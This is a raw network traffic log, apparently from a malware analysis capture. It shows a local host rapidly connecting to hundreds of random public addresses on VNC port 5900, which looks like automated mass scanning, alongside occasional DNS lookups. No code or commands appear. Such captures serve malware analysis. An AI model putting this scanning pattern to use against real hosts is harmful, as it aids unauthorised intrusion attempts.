Oct 30, 2018 14:44:50.493287086 CET	5900	50816	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:50.493621111 CET	50816	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:50.510373116 CET	50833	5900	192.168.1.81	154.157.93.142
Oct 30, 2018 14:44:50.541475058 CET	50834	5900	192.168.1.81	101.138.161.124
Oct 30, 2018 14:44:50.568533897 CET	50734	5900	192.168.1.81	121.61.22.88
Oct 30, 2018 14:44:50.568627119 CET	50735	5900	192.168.1.81	188.48.69.168
Oct 30, 2018 14:44:50.568660021 CET	50736	5900	192.168.1.81	191.73.166.203
Oct 30, 2018 14:44:50.568691015 CET	50737	5900	192.168.1.81	156.37.93.147
Oct 30, 2018 14:44:50.573168993 CET	50835	5900	192.168.1.81	57.135.239.90
Oct 30, 2018 14:44:50.602366924 CET	50836	5900	192.168.1.81	178.154.149.96
Oct 30, 2018 14:44:50.635461092 CET	50837	5900	192.168.1.81	63.37.134.117
Oct 30, 2018 14:44:50.662610054 CET	50738	5900	192.168.1.81	104.122.203.119
Oct 30, 2018 14:44:50.662700891 CET	50740	5900	192.168.1.81	90.193.55.165
Oct 30, 2018 14:44:50.662738085 CET	50741	5900	192.168.1.81	201.66.237.107
Oct 30, 2018 14:44:50.666518927 CET	50838	5900	192.168.1.81	207.169.119.25
Oct 30, 2018 14:44:50.693272114 CET	50742	5900	192.168.1.81	168.150.208.108
Oct 30, 2018 14:44:50.696997881 CET	50839	5900	192.168.1.81	102.232.6.156
Oct 30, 2018 14:44:50.708981991 CET	50744	5900	192.168.1.81	170.181.170.44
Oct 30, 2018 14:44:50.728909016 CET	50840	5900	192.168.1.81	138.5.176.60
Oct 30, 2018 14:44:50.740385056 CET	50745	5900	192.168.1.81	195.159.33.81
Oct 30, 2018 14:44:50.759762049 CET	50841	5900	192.168.1.81	203.158.39.120
Oct 30, 2018 14:44:50.771714926 CET	50746	5900	192.168.1.81	40.186.205.141
Oct 30, 2018 14:44:50.795396090 CET	50842	5900	192.168.1.81	164.29.57.51
Oct 30, 2018 14:44:50.801110029 CET	5900	50816	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:50.803473949 CET	5900	50816	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:50.803514004 CET	5900	50816	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:50.803621054 CET	50816	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:50.803888083 CET	50816	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:50.804442883 CET	50843	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:50.818706036 CET	50747	5900	192.168.1.81	90.118.174.191
Oct 30, 2018 14:44:50.822376966 CET	50844	5900	192.168.1.81	58.31.226.243
Oct 30, 2018 14:44:50.853718996 CET	50845	5900	192.168.1.81	203.57.54.94
Oct 30, 2018 14:44:50.881494999 CET	50749	5900	192.168.1.81	82.26.119.85
Oct 30, 2018 14:44:50.885613918 CET	50846	5900	192.168.1.81	188.9.181.171
Oct 30, 2018 14:44:50.896430969 CET	50750	5900	192.168.1.81	115.51.18.131
Oct 30, 2018 14:44:50.914748907 CET	50847	5900	192.168.1.81	179.187.214.74
Oct 30, 2018 14:44:50.943582058 CET	50751	5900	192.168.1.81	187.197.45.163
Oct 30, 2018 14:44:50.947822094 CET	50848	5900	192.168.1.81	152.146.175.100
Oct 30, 2018 14:44:50.990632057 CET	50753	5900	192.168.1.81	138.143.238.199
Oct 30, 2018 14:44:50.993984938 CET	52425	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:50.995882988 CET	50849	5900	192.168.1.81	176.126.26.239
Oct 30, 2018 14:44:51.006305933 CET	50754	5900	192.168.1.81	173.214.56.132
Oct 30, 2018 14:44:51.008838892 CET	50850	5900	192.168.1.81	158.103.211.150
Oct 30, 2018 14:44:51.022031069 CET	50755	5900	192.168.1.81	169.154.184.177
Oct 30, 2018 14:44:51.030191898 CET	53	52425	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:51.039596081 CET	50851	5900	192.168.1.81	34.51.205.135
Oct 30, 2018 14:44:51.052673101 CET	50756	5900	192.168.1.81	164.69.23.249
Oct 30, 2018 14:44:51.055150986 CET	50852	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:51.072083950 CET	50853	5900	192.168.1.81	103.150.72.11
Oct 30, 2018 14:44:51.084038019 CET	50757	5900	192.168.1.81	101.189.19.144
Oct 30, 2018 14:44:51.098328114 CET	5900	50816	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.098545074 CET	50816	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:51.100575924 CET	5900	50843	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.100632906 CET	50843	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:51.102325916 CET	50854	5900	192.168.1.81	182.92.232.106
Oct 30, 2018 14:44:51.115283966 CET	50758	5900	192.168.1.81	33.165.255.37
Oct 30, 2018 14:44:51.137949944 CET	50855	5900	192.168.1.81	175.18.89.130
Oct 30, 2018 14:44:51.146682024 CET	50759	5900	192.168.1.81	122.26.254.109
Oct 30, 2018 14:44:51.165067911 CET	50856	5900	192.168.1.81	78.87.182.136
Oct 30, 2018 14:44:51.178003073 CET	50760	5900	192.168.1.81	39.197.93.196
Oct 30, 2018 14:44:51.195782900 CET	50857	5900	192.168.1.81	182.60.199.239
Oct 30, 2018 14:44:51.224555016 CET	50761	5900	192.168.1.81	168.41.123.87
Oct 30, 2018 14:44:51.227127075 CET	50858	5900	192.168.1.81	140.106.79.101
Oct 30, 2018 14:44:51.255904913 CET	50762	5900	192.168.1.81	143.78.150.71
Oct 30, 2018 14:44:51.258121967 CET	50859	5900	192.168.1.81	208.5.234.200
Oct 30, 2018 14:44:51.289091110 CET	50860	5900	192.168.1.81	144.117.91.49
Oct 30, 2018 14:44:51.296515942 CET	5900	50852	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:51.296598911 CET	50852	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:51.320826054 CET	50861	5900	192.168.1.81	57.29.156.213
Oct 30, 2018 14:44:51.352931023 CET	50862	5900	192.168.1.81	193.32.177.229
Oct 30, 2018 14:44:51.365339994 CET	50763	5900	192.168.1.81	203.104.243.63
Oct 30, 2018 14:44:51.365407944 CET	50764	5900	192.168.1.81	72.122.166.241
Oct 30, 2018 14:44:51.365434885 CET	50765	5900	192.168.1.81	147.26.132.226
Oct 30, 2018 14:44:51.385202885 CET	50863	5900	192.168.1.81	33.48.130.40
Oct 30, 2018 14:44:51.398191929 CET	5900	50843	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.398458958 CET	50843	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:51.415663004 CET	50864	5900	192.168.1.81	44.163.61.252
Oct 30, 2018 14:44:51.447361946 CET	50865	5900	192.168.1.81	53.52.149.137
Oct 30, 2018 14:44:51.459510088 CET	50766	5900	192.168.1.81	64.96.5.14
Oct 30, 2018 14:44:51.459598064 CET	50767	5900	192.168.1.81	209.150.8.193
Oct 30, 2018 14:44:51.459630966 CET	50768	5900	192.168.1.81	201.69.93.175
Oct 30, 2018 14:44:51.459669113 CET	50769	5900	192.168.1.81	200.161.247.45
Oct 30, 2018 14:44:51.478627920 CET	50866	5900	192.168.1.81	190.36.184.47
Oct 30, 2018 14:44:51.490173101 CET	50770	5900	192.168.1.81	144.132.157.133
Oct 30, 2018 14:44:51.509500980 CET	50867	5900	192.168.1.81	164.72.134.143
Oct 30, 2018 14:44:51.537220955 CET	50771	5900	192.168.1.81	141.99.157.225
Oct 30, 2018 14:44:51.539624929 CET	50015	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:51.541841030 CET	50868	5900	192.168.1.81	208.145.177.74
Oct 30, 2018 14:44:51.568667889 CET	50772	5900	192.168.1.81	173.135.68.58
Oct 30, 2018 14:44:51.573518038 CET	50869	5900	192.168.1.81	143.164.111.49
Oct 30, 2018 14:44:51.584316015 CET	50773	5900	192.168.1.81	36.224.20.50
Oct 30, 2018 14:44:51.599807978 CET	53	50015	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:51.603966951 CET	5900	50852	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:51.604480028 CET	5900	50852	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:51.604520082 CET	50870	5900	192.168.1.81	118.33.227.146
Oct 30, 2018 14:44:51.604737997 CET	50852	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:51.631231070 CET	50774	5900	192.168.1.81	102.74.18.109
Oct 30, 2018 14:44:51.636331081 CET	50871	5900	192.168.1.81	105.22.84.114
Oct 30, 2018 14:44:51.664890051 CET	50872	5900	192.168.1.81	58.84.229.179
Oct 30, 2018 14:44:51.693936110 CET	50775	5900	192.168.1.81	48.115.126.171
Oct 30, 2018 14:44:51.694232941 CET	5900	50843	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.696495056 CET	5900	50843	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.696526051 CET	5900	50843	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.696676970 CET	50843	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:51.696793079 CET	50843	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:51.700175047 CET	50873	5900	192.168.1.81	148.16.110.157
Oct 30, 2018 14:44:51.708796978 CET	50776	5900	192.168.1.81	167.223.36.191
Oct 30, 2018 14:44:51.727065086 CET	50874	5900	192.168.1.81	112.141.151.65
Oct 30, 2018 14:44:51.740241051 CET	50777	5900	192.168.1.81	181.249.1.140
Oct 30, 2018 14:44:51.760770082 CET	50875	5900	192.168.1.81	174.71.84.146
Oct 30, 2018 14:44:51.771642923 CET	50778	5900	192.168.1.81	132.21.105.231
Oct 30, 2018 14:44:51.794954062 CET	50876	5900	192.168.1.81	97.185.118.82
Oct 30, 2018 14:44:51.802515030 CET	50779	5900	192.168.1.81	128.220.41.203
Oct 30, 2018 14:44:51.822020054 CET	50877	5900	192.168.1.81	193.226.100.26
Oct 30, 2018 14:44:51.833842993 CET	50780	5900	192.168.1.81	43.216.137.69
Oct 30, 2018 14:44:51.865200996 CET	50781	5900	192.168.1.81	63.229.134.1
Oct 30, 2018 14:44:51.911407948 CET	5900	50852	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:51.911643028 CET	5900	50852	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:51.911851883 CET	50852	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:51.911884069 CET	5900	50852	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:51.911957026 CET	50852	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:51.912168026 CET	50782	5900	192.168.1.81	208.34.41.65
Oct 30, 2018 14:44:51.913235903 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:51.918068886 CET	50879	5900	192.168.1.81	78.26.125.156
Oct 30, 2018 14:44:51.927839994 CET	50783	5900	192.168.1.81	32.134.226.224
Oct 30, 2018 14:44:51.947173119 CET	50880	5900	192.168.1.81	123.39.67.188
Oct 30, 2018 14:44:51.979187012 CET	50881	5900	192.168.1.81	52.11.255.118
Oct 30, 2018 14:44:51.990571976 CET	50784	5900	192.168.1.81	73.54.74.14
Oct 30, 2018 14:44:51.995711088 CET	5900	50843	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:51.995958090 CET	50843	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:52.009979963 CET	50882	5900	192.168.1.81	43.89.24.26
Oct 30, 2018 14:44:52.037641048 CET	50785	5900	192.168.1.81	142.69.30.195
Oct 30, 2018 14:44:52.042301893 CET	50883	5900	192.168.1.81	40.36.35.169
Oct 30, 2018 14:44:52.068201065 CET	50786	5900	192.168.1.81	108.241.98.255
Oct 30, 2018 14:44:52.084726095 CET	50787	5900	192.168.1.81	100.141.193.137
Oct 30, 2018 14:44:52.096858978 CET	50884	5900	192.168.1.81	32.82.177.180
Oct 30, 2018 14:44:52.114121914 CET	59668	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:52.115477085 CET	50788	5900	192.168.1.81	31.60.147.238
Oct 30, 2018 14:44:52.121711016 CET	50885	5900	192.168.1.81	92.237.7.131
Oct 30, 2018 14:44:52.150626898 CET	53	59668	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:52.152127028 CET	50886	5900	192.168.1.81	201.218.232.116
Oct 30, 2018 14:44:52.182008982 CET	50887	5900	192.168.1.81	63.174.169.140
Oct 30, 2018 14:44:52.213373899 CET	50888	5900	192.168.1.81	167.22.20.28
Oct 30, 2018 14:44:52.218213081 CET	5900	50878	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:52.218487024 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:52.224591970 CET	50789	5900	192.168.1.81	40.72.207.210
Oct 30, 2018 14:44:52.224668980 CET	50790	5900	192.168.1.81	69.53.130.220
Oct 30, 2018 14:44:52.224698067 CET	50791	5900	192.168.1.81	139.148.103.163
Oct 30, 2018 14:44:52.245529890 CET	50889	5900	192.168.1.81	126.5.217.138
Oct 30, 2018 14:44:52.277196884 CET	50890	5900	192.168.1.81	74.157.166.20
Oct 30, 2018 14:44:52.307279110 CET	50891	5900	192.168.1.81	63.137.131.152
Oct 30, 2018 14:44:52.318732977 CET	50792	5900	192.168.1.81	160.193.86.162
Oct 30, 2018 14:44:52.318775892 CET	50793	5900	192.168.1.81	125.130.24.140
Oct 30, 2018 14:44:52.318794012 CET	50794	5900	192.168.1.81	93.193.211.151
Oct 30, 2018 14:44:52.338042021 CET	50892	5900	192.168.1.81	202.49.34.198
Oct 30, 2018 14:44:52.370556116 CET	50893	5900	192.168.1.81	37.138.198.66
Oct 30, 2018 14:44:52.400553942 CET	50894	5900	192.168.1.81	152.243.87.9
Oct 30, 2018 14:44:52.428051949 CET	50795	5900	192.168.1.81	99.205.43.142
Oct 30, 2018 14:44:52.428136110 CET	50796	5900	192.168.1.81	79.215.194.192
Oct 30, 2018 14:44:52.428164005 CET	50797	5900	192.168.1.81	176.42.176.26
Oct 30, 2018 14:44:52.428184986 CET	50799	5900	192.168.1.81	32.61.169.145
Oct 30, 2018 14:44:52.433048964 CET	50895	5900	192.168.1.81	110.204.222.187
Oct 30, 2018 14:44:52.459479094 CET	50800	5900	192.168.1.81	125.168.222.23
Oct 30, 2018 14:44:52.464201927 CET	50896	5900	192.168.1.81	83.60.244.148
Oct 30, 2018 14:44:52.492717981 CET	50897	5900	192.168.1.81	92.230.223.160
Oct 30, 2018 14:44:52.525814056 CET	5900	50878	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:52.525923967 CET	5900	50878	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:52.526731968 CET	50898	5900	192.168.1.81	31.243.234.147
Oct 30, 2018 14:44:52.526954889 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:52.556482077 CET	50899	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:44:52.584069014 CET	50801	5900	192.168.1.81	66.42.213.67
Oct 30, 2018 14:44:52.584142923 CET	50802	5900	192.168.1.81	197.159.69.125
Oct 30, 2018 14:44:52.584166050 CET	50804	5900	192.168.1.81	67.202.176.54
Oct 30, 2018 14:44:52.584183931 CET	50805	5900	192.168.1.81	121.171.76.9
Oct 30, 2018 14:44:52.588279963 CET	50900	5900	192.168.1.81	153.129.22.60
Oct 30, 2018 14:44:52.604553938 CET	5900	50899	193.167.56.72	192.168.1.81
Oct 30, 2018 14:44:52.604720116 CET	50899	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:44:52.604934931 CET	50899	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:44:52.605664968 CET	50901	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:44:52.615596056 CET	50806	5900	192.168.1.81	86.73.108.223
Oct 30, 2018 14:44:52.624322891 CET	50902	5900	192.168.1.81	31.135.143.40
Oct 30, 2018 14:44:52.646976948 CET	50807	5900	192.168.1.81	196.191.4.101
Oct 30, 2018 14:44:52.664256096 CET	49469	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:52.666038036 CET	50903	5900	192.168.1.81	125.201.200.248
Oct 30, 2018 14:44:52.677500963 CET	50808	5900	192.168.1.81	164.95.120.83
Oct 30, 2018 14:44:52.680917025 CET	50904	5900	192.168.1.81	161.52.232.71
Oct 30, 2018 14:44:52.702337027 CET	53	49469	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:52.708856106 CET	50809	5900	192.168.1.81	36.191.71.133
Oct 30, 2018 14:44:52.713416100 CET	50905	5900	192.168.1.81	43.64.17.162
Oct 30, 2018 14:44:52.740211010 CET	50810	5900	192.168.1.81	124.128.205.206
Oct 30, 2018 14:44:52.746417046 CET	50906	5900	192.168.1.81	60.164.34.61
Oct 30, 2018 14:44:52.771537066 CET	50811	5900	192.168.1.81	120.51.169.118
Oct 30, 2018 14:44:52.775393009 CET	50907	5900	192.168.1.81	31.2.226.205
Oct 30, 2018 14:44:52.802917004 CET	50812	5900	192.168.1.81	175.15.5.225
Oct 30, 2018 14:44:52.808552027 CET	50908	5900	192.168.1.81	79.64.55.71
Oct 30, 2018 14:44:52.834546089 CET	50814	5900	192.168.1.81	41.128.60.206
Oct 30, 2018 14:44:52.835020065 CET	5900	50878	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:52.835167885 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:52.839343071 CET	50909	5900	192.168.1.81	37.136.1.35
Oct 30, 2018 14:44:52.865197897 CET	50815	5900	192.168.1.81	108.35.64.158
Oct 30, 2018 14:44:52.869252920 CET	50910	5900	192.168.1.81	99.152.220.109
Oct 30, 2018 14:44:52.900710106 CET	50911	5900	192.168.1.81	65.226.67.76
Oct 30, 2018 14:44:52.912213087 CET	50817	5900	192.168.1.81	197.63.151.163
Oct 30, 2018 14:44:52.912293911 CET	50899	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:44:52.932765961 CET	50912	5900	192.168.1.81	135.40.230.174
Oct 30, 2018 14:44:52.943578005 CET	50818	5900	192.168.1.81	158.223.97.220
Oct 30, 2018 14:44:52.959270954 CET	50819	5900	192.168.1.81	103.144.66.153
Oct 30, 2018 14:44:52.960355043 CET	5900	50899	193.167.56.72	192.168.1.81
Oct 30, 2018 14:44:52.966464043 CET	50913	5900	192.168.1.81	188.134.164.103
Oct 30, 2018 14:44:52.993818045 CET	50914	5900	192.168.1.81	117.174.132.72
Oct 30, 2018 14:44:53.026556969 CET	50915	5900	192.168.1.81	181.177.160.156
Oct 30, 2018 14:44:53.055912971 CET	50916	5900	192.168.1.81	83.153.72.136
Oct 30, 2018 14:44:53.068411112 CET	50820	5900	192.168.1.81	97.219.22.7
Oct 30, 2018 14:44:53.068514109 CET	50821	5900	192.168.1.81	160.149.221.120
Oct 30, 2018 14:44:53.088592052 CET	50917	5900	192.168.1.81	185.82.105.48
Oct 30, 2018 14:44:53.099925995 CET	50822	5900	192.168.1.81	180.150.45.8
Oct 30, 2018 14:44:53.126852036 CET	50918	5900	192.168.1.81	56.243.122.44
Oct 30, 2018 14:44:53.131150007 CET	50823	5900	192.168.1.81	103.102.40.92
Oct 30, 2018 14:44:53.151715040 CET	50919	5900	192.168.1.81	63.11.102.46
Oct 30, 2018 14:44:53.182636976 CET	50920	5900	192.168.1.81	104.112.201.214
Oct 30, 2018 14:44:53.193953037 CET	50824	5900	192.168.1.81	102.164.204.107
Oct 30, 2018 14:44:53.226929903 CET	50921	5900	192.168.1.81	117.189.129.168
Oct 30, 2018 14:44:53.257920980 CET	59260	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:53.258529902 CET	50922	5900	192.168.1.81	160.2.64.146
Oct 30, 2018 14:44:53.271887064 CET	50825	5900	192.168.1.81	191.154.134.33
Oct 30, 2018 14:44:53.274539948 CET	50923	5900	192.168.1.81	197.174.75.126
Oct 30, 2018 14:44:53.287550926 CET	50826	5900	192.168.1.81	105.85.219.146
Oct 30, 2018 14:44:53.295310974 CET	53	59260	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:53.324770927 CET	50924	5900	192.168.1.81	191.125.136.98
Oct 30, 2018 14:44:53.334026098 CET	50827	5900	192.168.1.81	57.230.10.44
Oct 30, 2018 14:44:53.349716902 CET	50828	5900	192.168.1.81	203.107.219.117
Oct 30, 2018 14:44:53.351986885 CET	50925	5900	192.168.1.81	185.43.235.183
Oct 30, 2018 14:44:53.369133949 CET	50926	5900	192.168.1.81	58.84.13.228
Oct 30, 2018 14:44:53.403170109 CET	50927	5900	192.168.1.81	204.208.95.111
Oct 30, 2018 14:44:53.442370892 CET	50928	5900	192.168.1.81	137.217.91.136
Oct 30, 2018 14:44:53.459678888 CET	50829	5900	192.168.1.81	160.60.207.82
Oct 30, 2018 14:44:53.459743977 CET	50830	5900	192.168.1.81	143.118.68.177
Oct 30, 2018 14:44:53.459768057 CET	50831	5900	192.168.1.81	164.49.153.116
Oct 30, 2018 14:44:53.502887964 CET	50929	5900	192.168.1.81	142.213.139.78
Oct 30, 2018 14:44:53.552521944 CET	50832	5900	192.168.1.81	40.36.247.157
Oct 30, 2018 14:44:53.552587986 CET	50833	5900	192.168.1.81	154.157.93.142
Oct 30, 2018 14:44:53.552612066 CET	50834	5900	192.168.1.81	101.138.161.124
Oct 30, 2018 14:44:53.596293926 CET	50930	5900	192.168.1.81	87.24.221.202
Oct 30, 2018 14:44:53.617317915 CET	50931	5900	192.168.1.81	180.106.156.20
Oct 30, 2018 14:44:53.622962952 CET	50932	5900	192.168.1.81	203.56.104.142
Oct 30, 2018 14:44:53.649657965 CET	50933	5900	192.168.1.81	157.39.53.181
Oct 30, 2018 14:44:53.662566900 CET	50835	5900	192.168.1.81	57.135.239.90
Oct 30, 2018 14:44:53.662606955 CET	50717	5900	192.168.1.81	103.244.205.203
Oct 30, 2018 14:44:53.662628889 CET	50836	5900	192.168.1.81	178.154.149.96
Oct 30, 2018 14:44:53.662653923 CET	50837	5900	192.168.1.81	63.37.134.117
Oct 30, 2018 14:44:53.662678003 CET	50838	5900	192.168.1.81	207.169.119.25
Oct 30, 2018 14:44:53.681998014 CET	50934	5900	192.168.1.81	77.119.8.250
Oct 30, 2018 14:44:53.712131977 CET	50935	5900	192.168.1.81	194.136.244.4
Oct 30, 2018 14:44:53.743591070 CET	50936	5900	192.168.1.81	133.177.179.238
Oct 30, 2018 14:44:53.756436110 CET	50839	5900	192.168.1.81	102.232.6.156
Oct 30, 2018 14:44:53.756479025 CET	50840	5900	192.168.1.81	138.5.176.60
Oct 30, 2018 14:44:53.774585009 CET	50937	5900	192.168.1.81	199.2.62.228
Oct 30, 2018 14:44:53.807739973 CET	65308	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:53.835952044 CET	5900	50717	103.244.205.203	192.168.1.81
Oct 30, 2018 14:44:53.839517117 CET	50938	5900	192.168.1.81	180.155.226.164
Oct 30, 2018 14:44:53.843633890 CET	53	65308	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:53.849864960 CET	50841	5900	192.168.1.81	203.158.39.120
Oct 30, 2018 14:44:53.849908113 CET	50842	5900	192.168.1.81	164.29.57.51
Oct 30, 2018 14:44:53.849931002 CET	50844	5900	192.168.1.81	58.31.226.243
Oct 30, 2018 14:44:53.849952936 CET	50845	5900	192.168.1.81	203.57.54.94
Oct 30, 2018 14:44:53.898920059 CET	50939	5900	192.168.1.81	34.26.12.74
Oct 30, 2018 14:44:53.929986954 CET	50940	5900	192.168.1.81	90.162.54.180
Oct 30, 2018 14:44:53.958797932 CET	50846	5900	192.168.1.81	188.9.181.171
Oct 30, 2018 14:44:53.958830118 CET	50847	5900	192.168.1.81	179.187.214.74
Oct 30, 2018 14:44:53.958848000 CET	50848	5900	192.168.1.81	152.146.175.100
Oct 30, 2018 14:44:53.960911989 CET	50941	5900	192.168.1.81	111.199.252.130
Oct 30, 2018 14:44:53.990370035 CET	50849	5900	192.168.1.81	176.126.26.239
Oct 30, 2018 14:44:53.992649078 CET	50942	5900	192.168.1.81	129.206.194.156
Oct 30, 2018 14:44:54.005974054 CET	50850	5900	192.168.1.81	158.103.211.150
Oct 30, 2018 14:44:54.024712086 CET	50943	5900	192.168.1.81	209.59.37.31
Oct 30, 2018 14:44:54.037307978 CET	50851	5900	192.168.1.81	34.51.205.135
Oct 30, 2018 14:44:54.055708885 CET	50944	5900	192.168.1.81	171.149.154.66
Oct 30, 2018 14:44:54.068469048 CET	50853	5900	192.168.1.81	103.150.72.11
Oct 30, 2018 14:44:54.099852085 CET	50854	5900	192.168.1.81	182.92.232.106
Oct 30, 2018 14:44:54.109447002 CET	5900	50878	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:54.109600067 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:54.118978024 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:54.121051073 CET	50945	5900	192.168.1.81	88.184.128.26
Oct 30, 2018 14:44:54.123697042 CET	50946	5900	192.168.1.81	140.254.111.61
Oct 30, 2018 14:44:54.131206989 CET	50855	5900	192.168.1.81	175.18.89.130
Oct 30, 2018 14:44:54.149544954 CET	50947	5900	192.168.1.81	91.32.196.54
Oct 30, 2018 14:44:54.178195000 CET	50856	5900	192.168.1.81	78.87.182.136
Oct 30, 2018 14:44:54.181746006 CET	50948	5900	192.168.1.81	44.153.53.190
Oct 30, 2018 14:44:54.193221092 CET	50857	5900	192.168.1.81	182.60.199.239
Oct 30, 2018 14:44:54.212551117 CET	50949	5900	192.168.1.81	171.235.100.40
Oct 30, 2018 14:44:54.224524975 CET	50858	5900	192.168.1.81	140.106.79.101
Oct 30, 2018 14:44:54.244837046 CET	50950	5900	192.168.1.81	171.134.75.3
Oct 30, 2018 14:44:54.257020950 CET	50859	5900	192.168.1.81	208.5.234.200
Oct 30, 2018 14:44:54.275499105 CET	50951	5900	192.168.1.81	91.62.98.79
Oct 30, 2018 14:44:54.286989927 CET	50860	5900	192.168.1.81	144.117.91.49
Oct 30, 2018 14:44:54.306972027 CET	50952	5900	192.168.1.81	43.11.242.87
Oct 30, 2018 14:44:54.334062099 CET	50861	5900	192.168.1.81	57.29.156.213
Oct 30, 2018 14:44:54.349741936 CET	50862	5900	192.168.1.81	193.32.177.229
Oct 30, 2018 14:44:54.351591110 CET	62610	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:54.353902102 CET	50953	5900	192.168.1.81	125.2.107.1
Oct 30, 2018 14:44:54.368535995 CET	5900	50878	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:54.368654013 CET	50878	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:54.370198011 CET	50954	5900	192.168.1.81	145.57.155.168
Oct 30, 2018 14:44:54.381139994 CET	50863	5900	192.168.1.81	33.48.130.40
Oct 30, 2018 14:44:54.388540983 CET	53	62610	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:54.401878119 CET	50955	5900	192.168.1.81	64.150.203.98
Oct 30, 2018 14:44:54.427617073 CET	50864	5900	192.168.1.81	44.163.61.252
Oct 30, 2018 14:44:54.432096958 CET	50956	5900	192.168.1.81	48.40.246.167
Oct 30, 2018 14:44:54.443308115 CET	50865	5900	192.168.1.81	53.52.149.137
Oct 30, 2018 14:44:54.463824987 CET	50957	5900	192.168.1.81	72.145.45.212
Oct 30, 2018 14:44:54.490384102 CET	50866	5900	192.168.1.81	190.36.184.47
Oct 30, 2018 14:44:54.495410919 CET	50958	5900	192.168.1.81	101.180.227.125
Oct 30, 2018 14:44:54.506031990 CET	50867	5900	192.168.1.81	164.72.134.143
Oct 30, 2018 14:44:54.526024103 CET	50959	5900	192.168.1.81	110.137.171.240
Oct 30, 2018 14:44:54.537400961 CET	50868	5900	192.168.1.81	208.145.177.74
Oct 30, 2018 14:44:54.558197021 CET	50960	5900	192.168.1.81	148.222.166.9
Oct 30, 2018 14:44:54.568752050 CET	50869	5900	192.168.1.81	143.164.111.49
Oct 30, 2018 14:44:54.590075016 CET	50961	5900	192.168.1.81	133.118.46.139
Oct 30, 2018 14:44:54.600091934 CET	50870	5900	192.168.1.81	118.33.227.146
Oct 30, 2018 14:44:54.619884968 CET	50962	5900	192.168.1.81	205.171.242.183
Oct 30, 2018 14:44:54.630682945 CET	50871	5900	192.168.1.81	105.22.84.114
Oct 30, 2018 14:44:54.650129080 CET	50963	5900	192.168.1.81	206.159.159.215
Oct 30, 2018 14:44:54.677756071 CET	50872	5900	192.168.1.81	58.84.229.179
Oct 30, 2018 14:44:54.682164907 CET	50964	5900	192.168.1.81	48.29.64.99
Oct 30, 2018 14:44:54.693466902 CET	50873	5900	192.168.1.81	148.16.110.157
Oct 30, 2018 14:44:54.694436073 CET	50965	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:54.713555098 CET	50966	5900	192.168.1.81	188.29.233.140
Oct 30, 2018 14:44:54.724776030 CET	50874	5900	192.168.1.81	112.141.151.65
Oct 30, 2018 14:44:54.745336056 CET	50967	5900	192.168.1.81	123.57.246.70
Oct 30, 2018 14:44:54.771851063 CET	50875	5900	192.168.1.81	174.71.84.146
Oct 30, 2018 14:44:54.776947021 CET	50968	5900	192.168.1.81	145.97.72.158
Oct 30, 2018 14:44:54.787619114 CET	50876	5900	192.168.1.81	97.185.118.82
Oct 30, 2018 14:44:54.807377100 CET	50969	5900	192.168.1.81	130.161.101.124
